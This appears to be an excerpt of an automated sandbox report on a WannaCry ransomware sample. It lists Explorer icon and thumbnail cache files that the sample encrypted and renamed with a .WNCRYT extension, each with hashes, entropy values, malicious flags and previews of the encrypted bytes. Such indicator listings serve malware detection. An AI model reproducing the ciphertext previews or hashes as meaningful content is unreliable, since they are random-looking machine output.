                                      Preview:WANACRY!....#z+...L...g...I.v.........<./v..5..e..p.Ls..m....b...6N..W.iq...u..3..R.P...)vI...n6E.>..%....].w;i...`..)...R....};.W.s.X6Q...t.........R.d..'..=..}.fC..z.kF...i.....p.(.).u.%....\.P.#A.;..%X...OW.O.....4.{.K......z.'U..b...3S...8Y.`a...G....F_s+}.............C.?.0}..u..>E.....i(..=.i.=

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_96.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.190206356755207
                                      Encrypted:false
                                      SSDEEP:6:bkE2K71GnB9fN946sAvc1UZxJ+Alp3Jvi2hUzynBY+tYgSniDExeV:bkELhgf346sL+ZPhyAugBYANSiDEYV
                                      MD5:0AC2279FF2C8CCC37E2F497C5B8F3768
                                      SHA1:101F2CA4ED82E14A1494FE020DD36655B6110C09
                                      SHA-256:1424D95584551905284673435FA33766C3BC0EDB66B630B38B5475C1F760420E
                                      SHA-512:B682E598C93742E6A4E826AE6684BFE81963318AC6616E9622CBADD4D27A2107B10609047BB8F6914A620F50755B1D24ED5A79CF5B83FA3339673E4CBF4FC439
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....pBh..........S......&.$.."SmL.$..`.>Y.%.......66h.?/.k...pV.\v...e*.J9=....X.U..FX.....p/.^..Xzq..Qz.\..........H3.......m.........r..^....J.R...9..S....xM..Y.g........_.(.N.k.@q.]~..t..7....W.|c...b....../A..t.H....}B.. z.=.K.....!..e./..Fe.}......................S.)t..B....k.lG.. ..-

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_custom_stream.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.2470503871831164
                                      Encrypted:false
                                      SSDEEP:6:bkEV7HSdHHRKt0DSAtqdN/aAX4uVIRII7kPT5+lIvSiusX3:bkE14HHRKteEX0+bPNJvSgn
                                      MD5:7AD2CCBFC9A48F985402A312C062C2D0
                                      SHA1:A9B8E3D2520DE331BACC3540AD3C94A84CFD07F0
                                      SHA-256:425264D15FE948BCCE3C2BF5C8D7B64E98FB32BCF2A56EC7C057BA4A5ADCBBE9
                                      SHA-512:00699BCFE294CEF3FAB84280F583F036B2527EDCA268CA8716C23C904000A0B4201783238648107B53EC86D74F8779E61A7F7F10E1DFD405DFDE8D260BFD5E68
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....Op..l.....8..s.X..I.....M.u.)*..U"a..h......b:...Y.. R.W.w!.D^VT.EM2......PR..Pd.H..DQ...4.\*.........@..c...a.8"N6#. &=....z../..'..la.//......U..M...!.X.1>...83....^..r.......$.........0.(.....C.&[..2t..;.x..4u~.H..0?......w.....+[s................+..6..t...^.w.].3....D....m.7

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.277957084702413
                                      Encrypted:false
                                      SSDEEP:6:bkE088XH9ek+rgoMYSxmFyyC/+grj5qZXDM/avhtnFbdjVerED:bkE56H9ekUglxiyF/+Ej5qZXPvLFxpuq
                                      MD5:DBA6E2D32109D972B24CDC552D06B403
                                      SHA1:F350F4288B618E112EA327DF65A7DB0163BAD3E5
                                      SHA-256:8B6BEC441A766F3700C0D608BD9C1E87354A0D40662A58095E683F9D397744E6
                                      SHA-512:CCBEE66C7A4BD85F7245E7062937273D8D1CFB69D2C405A549C00F4074A97A18EEEA045387EFCD05E9946C1BE71CF3DD4BF639AA8B6D2E23A02ED2585E454323
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....n.0...#..nm..q#.3.7?.vJ|.N.=Q.wQ..6..[.a,n....Q....x.pT.:..=.l............|..3....3|?...D.......o..`.Q@-4.>...R..>..Y..\..Gp.n..%!X..;..>.e...w.f...r4..Z.^R...'r.Lyl;......c..P.a.n4 dl......D...U.H...iuU4.X.p.........z...+..9..:.BkE7.....................B..j.S............~.!f.h....&

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):116776
                                      Entropy (8bit):7.998184215746208
                                      Encrypted:true
                                      SSDEEP:3072:sU7oIiah1N3qEOlqkhi46VXgCqfPv5riZ8oRhR:R7wavN3qNlqkrCqvADRz
                                      MD5:51CCAC10D9F5E3191DFCAA3738ADD47A
                                      SHA1:6613759EA9EC3F5EEE01C268FD4F498B2C887833
                                      SHA-256:A568A08C8A02369715225A9653E6E1B523ACA4AB9DF714F88A4A00AE8AB4B4C4
                                      SHA-512:1DFF5DC4E52DF19B70992DD27C8562E0CC56046FFF9327290A10E49E250BBA32E3B740109EC4E85ADF91DCD44871721AAF85735E0B36719423236F2961DC2511
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....$..A..|"U...$...7I..k..lT<.b8.O...R.S).,M..:.W.+ ./....C}u....GQ.5;k.J.BKa......l..6.3jH...&.....b.kHQ.(h..x;.Wh5..rcE.W.Gg..~..?U.IZ1!J?j.M....A...$..<O....8&..[..,........"TM.2...$.L.........M**>Zx.%.~n.Y.rNq`......#T.@.......?..U]..B....~..W............l.ad]..Y......!.vL....0B.dD._.......F1..~..o.7kc...q.../.....\.> ..x..Eh.ZE........r.1. ....=Ns..7r5.......b|...VQV......E[....^......l,....v...z.P5.s.2....V.Oe_$..pk8.@..._......8...S.v..(.=..|.}..T..G....9f.. 38.EQ.+.I..2j. .r....v^o...6.Tf.9.6@.....^..xy.......6..o.#..-....,.S...m...0?...f.xP....2t.l......w.P..o.0....g[J.7....}.~.cH..d".iu!.XF../D.mT9../...0.t..jrS...(.Q\.hT.4........M.D.G..-S,1.....P...<..J...........Ln..e.X.:E)>....u.6..[..f.....wM...._.u....d>..Zm...h..a..-)..E.u.Hbv..3..w...?....R....}.O7F.W...IA.I.);.....7.....@|?.".j.V]s3m..A.L..>n.....ji.I..^w..m,].HF<.4.F'.H....v+.5T.+..Nw.....8..9q.k..h~.O6.cl.'..^...C...b.........&.3-.]u...oj..:.h].l.,Q.4...

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.265289969076973
                                      Encrypted:false
                                      SSDEEP:6:bkEFUBd5Lyy5VlELjsjK727R76CBxgfp7zeOXARYUS+yFMOEFZrhVa1ivR36:bkECBd5h58c/R/vEyLJFkup6
                                      MD5:7551D176000107D76B7B01ACB008AC24
                                      SHA1:0C71162971CE064990A20E0E5CAD1157B0897FD2
                                      SHA-256:FCB264A7D3CDBA4FE07BFC3284F63C6795CE631940D57DFF08DFA686F0B36A96
                                      SHA-512:2CAFA53045517A04AAB2C64D672780A0A14FDDFCA954772F2D4468744CCE431D46CA0A7B95E9BAEF4D74185EED89A67D610B81B659556719274AD8A1B643A1DC
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....=0.X1.2.R.A....[ta.y..wGJ...7.N@.sD.G60.!J./.LnV......l[$..m..t.F%.2.3K.{.....m..D... .F#^auc!.k..W8?..F. ..h..H..^.....E.k.....FDu..<3...|>.<.-.r...S..u...n...<..<[.O.;.....WP8N.q.L....QI.&..y......z..D...:....>..rG...I.Z)4kk.~....F}...s0..p..............-ZQ.bhds.5E..w.$h..9.g..q.....2

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.258003358775545
                                      Encrypted:false
                                      SSDEEP:6:bkE+1pg7A7UMkbyTadwqD41e9qkoELkbD9cg0pBoO3qzDEEkwUsjd6kPyKZ6/Nn:bkEKpgE7UMWyTadXD4U9qkoELkbDApK4
                                      MD5:97E3077B087C49A137CF8ECF2DE1668C
                                      SHA1:6C51C12A01A7468FEECED22AD97B0F047FE6B592
                                      SHA-256:C5C00609026AF4F34232675B0B40B1DB58027330224FB5B6380B55A99E5C10ED
                                      SHA-512:AFBA4597046F8506808C2C57F317C5A098B374A87D7960DE2DBF6A6E0D9514DD490B17011ED1AA15298A3713AFBEE4D2346710F338DF8DBDC23CD52AD6171AE1
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....IB...Bi.L..9.VI:......24.4.....Q_.}..>x..:.k..Y.ih.r_}.vEP..@uo.P.6.9....M.$.Km....@U.N.y....0...7Gb...H...o.(..S.5.^.VV.LT..;iK...5.R. ">.K.....O....E#....K...K......6..?.\_{.NV..2'...Si....?5..<.ci.....^...0..Q..F.h.,....i.ul.t.~q..k&........y............._].e..P....@..PWC..1..r.~T[.1.

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.1879949595247785
                                      Encrypted:false
                                      SSDEEP:6:bkEgQz1TDrMiCI+UUwkLXNDkJojUIHFBBt2A5bkryaEPDj0oKedrv:bkEggTAIw7NDYIHFBBt2UbscDj8edrv
                                      MD5:E9ED5781B03338F8E103618565A20E23
                                      SHA1:33CB57E84282B73E5BB53CAE36D9406C78CA6524
                                      SHA-256:2FAB09314960F302EF13FDDB43DA8BFA1B5164414BB644A7B16BC30CC1D55ACB
                                      SHA-512:7CB4C495243D1CFCA3AB9AE9BDB855E39841B6944F897DD286A1FD0316171A5E781FAFBD88B4BFBCE38EDCE00EB3C80064A16139C1211828A25713CCD9159729
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........Dio.c..]...G..l....a.(..........{.+......u6..W..R....~>........r...h(.i!q#.0.yD..:D.m.....70....,"e.G.!.!<k..f4...................\~.3.q........-)~;.~...6t....0.W&.X..PR.6.....W.-.Y..8..:....=.Y&.a>;....sP.qB....o..YV.zS8.5..k...}.0?.......{.............}TEu....])2$.H..@..v..Y.......

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.152510302131889
                                      Encrypted:false
                                      SSDEEP:6:bkEEYkxDqr+hnzxzzO23HBtmbU0ASdOtW5Nx3ifO6eTGFv0kMphA9bSF+r1:bkEOxQcndnZ3t0APtW5Nx3ifO6e6FvPr
                                      MD5:6BF2B6DA64E27148470A3868D8B61A57
                                      SHA1:D58E7FCDD0C09508751B5651B82458E5AD41CBD9
                                      SHA-256:8F5CE8060B0D53B4D4F6605F89E980546D031E5BBCA7830D8B472A915E1739A8
                                      SHA-512:A763C2769966CEA04915A41C73E143C0A28AE3EB0DE568011C703BBDE94BDA2413CB2F0C55C5D8937091F1279D390FC38A55DA8B32C3518896C5C43FDE7EC113
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....s...p.Fi.%P..w.....c..|G..._...kBy.E...Ng.O. ..............;.7... ..........x....f8...by..aK.....pNW...^.p?i.f.Y..*..........P.D$|....o...$.0.._;.!.q........D...H.w....A.....h.`*...*..F...B.$.E..0......bM.;6Na6H.s...g*..m....x.L..(.....&.............N..L....4.T.B...evg[./._...

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1048856
                                      Entropy (8bit):7.99979777664955
                                      Encrypted:true
                                      SSDEEP:24576:iij82+jZx6GdQGVAeJEmDu7UVZGcf6+3b99MuDt3vB2k9WSC:hCbddAeJvDuQScF7DVvw7f
                                      MD5:E8194E3BF7370CA1C028A7FAAF3257EA
                                      SHA1:10E3FF9E1A5EBC26B6B65DEDA44D04B83A439345
                                      SHA-256:F26DA275768EA45EE64B5D258509A73D905B16F486CC4BBE010F0ED19AFD96E1
                                      SHA-512:9F7E3AF59197E1CAFC0E5A0DFD4DE4B1711E35DA18415F8AE3914D2F1E300FDAAED7A321066443B41D63257B8ED72927F24F1E24435EEDD5434367E4361C606F
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....~.L.8W(.HIV.!.IO...,.c7p.D.....}d......sZ..e.tW...es.%.U.ISW..2..T...oL...........r..G3y.R.>.^....~.3...l<.U.(.?C...k....E..)t5O.DA.N..:..0.f*'.X?`s.../[...D..<.#y.S...:.uH...L.X..?.R..b_..%.ap,...7J.....]k..5.K.^.....fx&.N50.B..v.}A.....YS............cRK.........o.W..-cL&....F.i.+..wKj...:.b(.....}....1.t#....|1/.a4...LJ(nR_.d.H|,}l.'....G...;..o.K.n...M..=..62.6h..\.$..o1N.......b#.......~..V^_z.H..%......5..*...I?..y.vk..u.%.|...6J......A....o6... .......76...[..pY...U......B..s$9...@.J..n...G.{.xV\O.....t.....A{>.....v"..J'.R.5...'S..w.2g.E.v....L..M..<.,;.g.%f?\....DXh7$.a....Q.C ..*!.....#.....I..}.....E.=.N..X....-Y....E.l.3..4.iM..;.S...@....ug!s..V..)U-).......&.lH..../.(.I@".z. ..R 8J|...9.b....wj..S.."....-..X....S..37w.-Uu.F.n..s....{;.jr....P.........o.Ch.y.v.t..N.p$.R......h(f.`A*>...r.UX.s+s.5).A.|.'..A..4`....{.}.....:b.3.v.f.x....a.i71g..8.!Mt...|.......L..fL#.....S..)..o....&g..."0Q...4.|M~5x.."@+A.sV.

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.2252571966549475
                                      Encrypted:false
                                      SSDEEP:6:bkEiCLF9W1JtzIZUPOT92dBl4rZMTsXMNDdRCtask4Gdcoq1Z1v:bkEiCLZwAOj0ZFFSKv
                                      MD5:7D0F96E6CB00DE1522B02BAFDA534C91
                                      SHA1:18EAA1EA7AEBFAB90C0462658C683B6713697DB0
                                      SHA-256:99E377EE7CDFC836E190832B872CC02B51FAE84EF6E696DE072CCFCD5A2C42A2
                                      SHA-512:47F2A568805DF84D3C23BA8A8E9761F99F6AA3648ACFA807CBC0CCE8779BA3BEC0E6263C5D805AC6D1BC841A255A103BED4F6712D0F368B8283E8FF28CD52A68
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......+[........V~.q.R:...*u.#.._..F"ay....SK&<J...p....nXr..^.2.u3..L...*?.5.{..)./.....o0If....x`h...}.0..i(....%..x..i8.{.C..kg..#.{....V...."2....?.e9QV[=r&.r...F......\........S.rf"r.IQQ.O....o~..as....*.9g../.....M.....HjbAvP.b5..m.=./42.N.a.O............. P...6........".}:.=.......1

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1048856
                                      Entropy (8bit):7.999840142913956
                                      Encrypted:true
                                      SSDEEP:24576:9MLXBozkCosr6aU4r0xi4QSDG6hrk0v370hyL6E2shKoaq/5gx6OX:9MLRoACo2iFvogLhKot5gx6OX
                                      MD5:A05795464117A1202BCB2C48D5EE9B15
                                      SHA1:42E9B9C7870DE45CD48AFBA57B05D3B488258BC6
                                      SHA-256:A6CCE6BA22675E606506FF25BCDE5D0E5511A1BB2549AAEB57DC18DB8AACCC40
                                      SHA-512:FB2D331AED8C6B2CF38787908918146D0306A8AB7F39B9EE77BE789293394020334EF04E4B6A0B5DA690010FF49BF750282858544819DDD84A0FAE167C0521A8
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....,=).@.{9...v%.......E.U....=1..../.u.. .Z\.^..Z..).R.N.b..<....%.A:..{.....FX...d.e.......*.....P...3.......y..K).~.K.4(x.H6.........1........\.@.4.\CW+..:g..0......`O...3.......m#..Qrz...zD..kS9T'lr.. ]....=..u....=o9..{h]..v.bm;{..\.N,H(..^-............Y.....T..&.C>......}.X...%6?.b....h'....mTP.......5....j...F.......UUz...7&w.....v.....i..^.~......d....O..%r...-Oj1=.O....0...HR.&...6m.9f.>k.....NT...J.i9.}.y.....w..Ac...L....Pa1..$.9.-.._..[.z..,<'h..&...A..me...av.N=.4w...g.z+\.RVtT.......\Jy..._.g........|.B.~....."...z)..*..=.,k..)y.#.....e4......h..u$.SS#..)..$$e...'C.q........0...1_......;6.:.'..7./..<.....N3Y.Y.....]..'..4...8..i..}7..U...%.0.4t..}...V......q....E.-.......`.?.\%k.......i|.5....0..d.V.......2..*_...H.B......>.e..X....NK....."Nc..i.6k....c........-..%...j3v-.DF..`.;....d...9....08..'.4.4.:\.G..NN11-1.M........~..=y......~/b.u..e..y.M.`>..t..4 ...;[.c...G*/..l.......V......W...f..c95g"].{'....T..p..-.Ix

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.155467332838225
                                      Encrypted:false
                                      SSDEEP:6:bkEk+MGp4e1VzUtiSlGqSx0U+teBc0g/Qt2KwfSUJBvYGYNcrIXk46En:bkECG71mtiSMqSdBc0Nt2KatYbNcIXk4
                                      MD5:20E47A81889CD12E5B35A2EC84C6FC22
                                      SHA1:4FB248BA5A83577210ED25E086EA99BF9A2258B2
                                      SHA-256:7840CF11F5B6CD75061276DB0CB0D065B0826A16AFFE885465BCDFC648ADC3C0
                                      SHA-512:ACECD49EF346E33CB09815889B4E2497DFCD152C3D139AD7EC193947C289C5F2B4352DF909EA79C2E069A9A1E96851C207BEC4A5322524AA0568F4B01DE99A24
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........Qu.s....Nf..a..a.....).h".....S.!..\=.h...q.l.|..oz@o..x8...q4.d....-.*....no.l?..[?.|o..H...K.k...<...-H.u.E...&. CQ......3..B.u..<...&...4.{......x....l..Q.31.a.....z.o.....z(.I_[...2p..@.X....9j...?K...9./..4. .W......4...Y........1...'..w.............k.b.........\.a.Q3.~.X.i?R..i.

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1048856
                                      Entropy (8bit):7.999816262555489
                                      Encrypted:true
                                      SSDEEP:24576:lnFIkIcEUrIsIRP+1Ic5A5+pKG49cM/ZTM7T7X4ezQpNtAt0F:lF+zLRc5A5+pK4TcdTk0F
                                      MD5:1A3F7C33A86DF29DA3B6EEBBFBE8869D
                                      SHA1:299371732EA5107B1CCF34C6671361F94D57235D
                                      SHA-256:C4B22A8C635D62A2D5E91F91EC6922E8222049E84952271C6908E160B2276815
                                      SHA-512:D7C54ECBB5F2D3D13CB983BC5E963B1C23B914BECE196CD9076BDC6639A9549A88CAE8F47486E0A8D8D0E64EF8B35D9122DB49AA277407B51A0980F79D4833C1
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....7<......U.k^D....v...'r`..!u`k.l...C....g..........%...P.Nz.A..h.p-..%..N.R6.Ny.1...SI.^..Ox.|kdl.....=........k.v.3./.K...=.....l.6.D.&2F.A...E..bt..".DG...9.s......g#e...9...~PPb.p...?t.........}.=|.M...mL..5f...k,.u........b~6..;.0I>i....................*..e.W.\/..S.nRUm".C.;.NW."...RL....8.&xN.i.b(2C.{.4.+.....*..?.;..8/.....Z: .+u.X8..jQxTP...j=m.D.>...s.yH..).%.....f..1S.._jA(.j(. ..O.7../..Hf..}..R..O.1"...[..#.J.^..io..PWQ.......c...N..'4....+$2Q......9.-.S..0.iL(C.D..:.e...H..S.......*.... ..:.uk.....o...$..2.wb<.*m,}.[(..b.$P....'.%V.#y.g. ...m...U.bQ..k./..B.a.`&{1.Y>7....^."l.o...."T6.o.6w70..k.N...:G.H.d...s....X.>bpt..L......I....WT..J.......\:ru.I]w."d*:.'....T..D......[.....s{.-.S}.\.|..&II.Z.\..I.>..v.).....52fB...L8.O.w|..)..U.uC.....?....).....7.^.(k.........q.W..B..{..{..3.N..4....%,.<.f...Z.&..C.....!.}..;^..D.G....(.....S..Y....JB.Fi/.bH..Dhf.....s......2r.llJ...*....}iV....D%.PS...9...?.V......0.7..

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1048856
                                      Entropy (8bit):7.999824861667698
                                      Encrypted:true
                                      SSDEEP:24576:ZdiQ66dzWmiPh26Bi3B9LaqDOQLNhDOyT4JeA2kavQCQ:C6wg6Bi3zpvtEJeADae
                                      MD5:4600EFE709347BF6131C679167E68777
                                      SHA1:FC5AFE4F612AE88AD89CCBD03EA3A537F41FECFF
                                      SHA-256:25D81E5DC84ACBB75503F909A709CBE153200512C844A63B8A4E0A1CFC2610E6
                                      SHA-512:70184A7B4C35550CC36A235C095C436ADDB19384A9DF2EE8977091800EC7061EAEDEB41C6C4210C1B44767E294C2D834EF808DF170C8BD1722879D882D89A0F1
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....B.R..p.X..K.V}`.E......*..W.'LW.m"..\.Q..R...&fG.I........i.n.~......@I;....N.R....m.z..e....sF...h^5c.[.._39.........F.A..R.n..r.N.$....".r.)e.|..z,Y"..C..j%>TJ......9..<!...C.w>.&...,.H:.m."..(.C....mB0ND8wTh...U.)smU../.8\(......l...5.'.P.G.............ef.....sn...e..e.6..p..(O?.c;c.....F>$Jf(y.96.Jt.Q.,.!.*].4....w..K...9..........6.t....o.+X.....?..*...x......\{.F@..`.1.:4... @...""+'hpf#..U.d.z.(-.k+.2.....+.I..,...1..6...W...&Z|}.,..lqM....{q......Z....0F;<...G.2'!...N.xPk.az...f_N&]y.Q.JeZ.....W..)..8.(..........*...\/rH)D."@.i~H..Gw ...E-.&6.UN+..."...\.F.....;.Q......9...X1.p.....URn...b>..;.(wu...Wa.[..;...J`....k...4...#%...^...?.?..$....Day.s......*....[.^......mC%........D.+q.(.Nj..^.N.e.Xv........i.^-.6..q...V. ...O0)..f..T.....iq..$8...........`8..H.=...-2.G.L.6D}.M..<o.......j..(..e...._..i....L.wp.[.:%..t.IH .}._...f.{t.=.....P....|gv._;.6...m.~._Xs.S....DU.w._..{.C..6v.c..4..)..1...]W.M.p..a...n..S..5.R-D...m.e(.

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.198614496554449
                                      Encrypted:false
                                      SSDEEP:6:bkE2FiHzyyD2AOjsvhYfgRfNF94KFXi3dSgEMKLW3eX9lkmmlYF8/O9:bkE0kzLTBJYITrFXQlfsueX9gM8/O9
                                      MD5:EF0181752009EE0E8AB73A47A52A1DEB
                                      SHA1:0DFA0AB48D1AA60AF5C40D5F6DB9DCE53A2B126E
                                      SHA-256:209BF636140FE57A19403CDC009ED3D14E33951219C24EB9A8CF78AC832DF921
                                      SHA-512:E07D1E157410299B91B104CC1A91C3C74D3DB0D5A1CF30E38F98463CDD3C502688F42055A525347721572FE766DA66A13A0DAF675D6224F23259D739992D8C3C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........r$0.ZGb...........cd..<....>....[...@.FK.b.O....A2.[.{.."-1. .<r&.>.......f......[>...2l..:....|y@d.2c.....u.[B F#se+.b.6t)Q{...."..y......_).m]..?.....J|.S..!..M..1.....~...OMsbDY...e..^..C..y).....H_.q`.Ue(..h...l...=......H..m..UF.9.E.0..............C..h.............q...CeW.

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):5243160
                                      Entropy (8bit):7.999966746563468
                                      Encrypted:true
                                      SSDEEP:98304:/VuBncCErytICEpRtATaT2/37e2ToiD8KVGIzzMvbIIlynKLujieqmDZyPa7:/VumCMDtAu2/BToUGUIERKSjL3Z17
                                      MD5:56D2BB36949B4DC85DC7490C3EEAC39A
                                      SHA1:30B2D6B6792592D84427DE4F05D06B398E1AD847
                                      SHA-256:282B50B0D9069ED63B2158CC10215E8DFF5F25D92B49BF44AE8B7AE7C18F72E7
                                      SHA-512:8428164622EDD5974109DB4BB40A77C4E07746E93A02C78B5723A12648D98C198759A1642926F2038353D3317BA9F21A00B462C59AA9889E5A0ED119C3EC6D0C
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.......W,!{.O..n.u.vT[..j.Gx2...>0.....q.-..A_._.........0K.....}...^......s........&$+-k..p.........sR.....'UM...z..:......p .I....n ..xG..{.t...x....K...c..^...o..&I.._?.vy..a..gR.qb.8..F....20.*cI..X<.56.w..(...Q."......7..1a.8...^.F......dx.XQ........P.......x.z......)w...........9..s.'.b;'<.....^v..0..4...q.o=.T.$.1.:...3*..1G.R{.M.:.....h.TD..P...0D..u..w$.;s`...CL,6.".m...A.KG.....F.n.....%b.d.*...>mEp...R.UV..l....R..xk3.....]S...NI........Yq.c...c=.}(..Su..*...._....v...P.|.u.....t......z.L.y=-..w..@...........NQ.f..L0G..Qnox}...`..{..(..b...u......=m...._Q..\..F~....c.8a..vv.&=...H.>....(....X.!.&...82....R9.;i.7I..x3^v.....P.Or?X.?.-...(...g.x.95.:.....8..;)$.r.Vy....'.T...vJ.bi....%JD....1..r.!.......!t...P.\<...h...s.a:.^.{.....*6.Y!_~T.=.`K.....0....D..|...nmT...........|yM..*c@.N...G.Bs_.f=q..Q8A.h...ps...7>,.g.#..l.<..%NyW.....).v.y;../.W....wc.....6....sai.C...|.U..{..<.....F.V.? ......W..S...J_..r..i.._..

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_custom_stream.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.20379235341394
                                      Encrypted:false
                                      SSDEEP:6:bkEV7LXID0uIzzEj1p4gVa3VdB/IvCwWep7wmW/RrInWE8KqjxB4kbUquERon4k:bkEdTgTaEjEguVdBgKqgr6heB7UquEOZ
                                      MD5:9B7C87D841C6E04975A7C517FEC6E6D6
                                      SHA1:BE585067FBDCBF859CC8FCDCE770A5255E33D385
                                      SHA-256:0A781A1C6421A8B10275608306315E48A8B500FD70A473EC0F603753B18E0793
                                      SHA-512:30E02E567BBCC9EC5B2EFD49EFB0357BB5171A69792047DC8035D6C014750223DFF8272237C7BAEBAD3F7B2805CBCB9C461746AF5CE0B10A8A5E12AAA145B1E7
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....c......$.../Qs#....a4?......XJ...D.|..8.a?.e..*}Sw...... ..2"........s....].-...j......7#.xA:z3..wSwZ....f..3V.."Y*).9...&.)?.2.|X...@".....w~.0*J_....5.S.]...5f^%V..j...u...e%........i..x...,...ZaVM0&.W..~.u.0..h..}&'.n|.t$.>...kU(.,.ra..U,.P\............Sna....M.../.8vM...%_.Qmf......

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_exif.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.184056065333559
                                      Encrypted:false
                                      SSDEEP:6:bkEAftYAaUm1C1pqVDe9gcc/gDhyE9bmDqNBf0nUcqzz40ZNtVYT+Wz1:bkECnHu2pqVDe9+IhLnNp7TNtVYT+4
                                      MD5:55E1B1A528E542FD983CA1FA2B846508
                                      SHA1:D7FC4FC75F9562DE360D9BA8004697FAC71D7917
                                      SHA-256:29B753629BA2387C6800AD70C2D47FDA56D8F2BE9802C0631C2AE8F2328F5DE8
                                      SHA-512:0BC503CF180DFF659C60D5CE52E31AEDF963A37471508027372EDD34825EC7DEBE8901B7A6F7F28FE027A619B307C45B5F7AFB648C96EE74F55ADD29D8BB3AC4
                                      Malicious:false
                                      Reputation:unknown
